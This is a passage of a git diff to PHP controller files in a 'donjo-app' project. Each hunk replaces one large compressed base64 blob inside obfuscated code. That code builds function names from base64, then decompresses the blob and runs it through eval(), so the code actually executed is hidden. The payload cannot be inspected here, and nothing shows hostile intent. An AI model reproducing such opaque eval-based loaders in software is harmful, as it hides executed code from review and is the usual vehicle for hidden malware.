3mb475d+c8J+KEUxwRCiPgw9SI+zAf5Ud7PtufY8mwQ0t/cgSVbPDDQy76hGX8noELa55i5u4QGKOzuf1ZTUDfTZBHL8+fg33XvnEUQ9LdLXZ/jPbPKnNgZcHwCO5c0H0vT2L3AzO6/4V+iAn1zBPM+avY9bWd/zw9sfMvHeu/TovzsAYPDBG+T9oJ5ijvMOhPId2zkKLUtbXcr6ksp63emQjLs2dwCLDZp3tcu/tUzwyr01bkW/Bd4FDfMhd0B9ITYuLVo3OCU7nKsf70/PH0vp46S6d7KRxsu14540S+LPP0OfKr4uyI5VWsZgLf8+P5z4NOQrtL9bqzdR6PnR3RPRLmbz7sbPLBKHzT/vz7df45wbonntSc6fYI8ojlmRE45bSe5r4QPmEPtoEgpyRHZU/BmcXZ7+DwfXbSf3yPf1WQW9Idw79aF/0356OsXv261vHmnHS2v7fzp/MF+ANwxLC8E3LH5qeaEd3t1OYu7P3Neq/1eEdAfl3rMrvsT83cozjRWkehpY288oz574fBEnft4rzmcP/mL4rf3lhvgwzgRPXs3ahXtbSjukPFrk7fVyprGyGrkbzyP6ewmPYQ79STkGvkWHsOLFZikdc4P9zFyLZYD92d2OOL3a+5lcNz9Uf4N4HGPs6hXLrPS3fhM7JJJv8Z3bxcv9fWF35x5xdjMTti/V/W3E7EJ/u6qXUqxj7KR4p7UvCzdKc3o3va0C99nnWap/pW6hd5s7jPUZH7ZJ9abx5aQbqvZaEPdDy3a8X5y/GeANs5R7ZMd+ZgY8f3vOwj3Wek/y9Xn3/55ef/JY4v7Oev5bt/ff6e7pW+b+n4z8OEv17R/6/+bz/t5d/A/Hv+G5jH2Pj1CIwFNP71+d+CH9Vs'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Kehadiran_rekapitulasi.php b/donjo-app/controllers/Kehadiran_rekapitulasi.php index 3d98c6027..291891d0a 100644 --- a/donjo-app/controllers/Kehadiran_rekapitulasi.php +++ b/donjo-app/controllers/Kehadiran_rekapitulasi.php @@ -296,7 +296,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Kelompok_anggota.php b/donjo-app/controllers/Kelompok_anggota.php index d34caa765..c6c6ca13a 100644 --- a/donjo-app/controllers/Kelompok_anggota.php +++ b/donjo-app/controllers/Kelompok_anggota.php @@ -272,7 +272,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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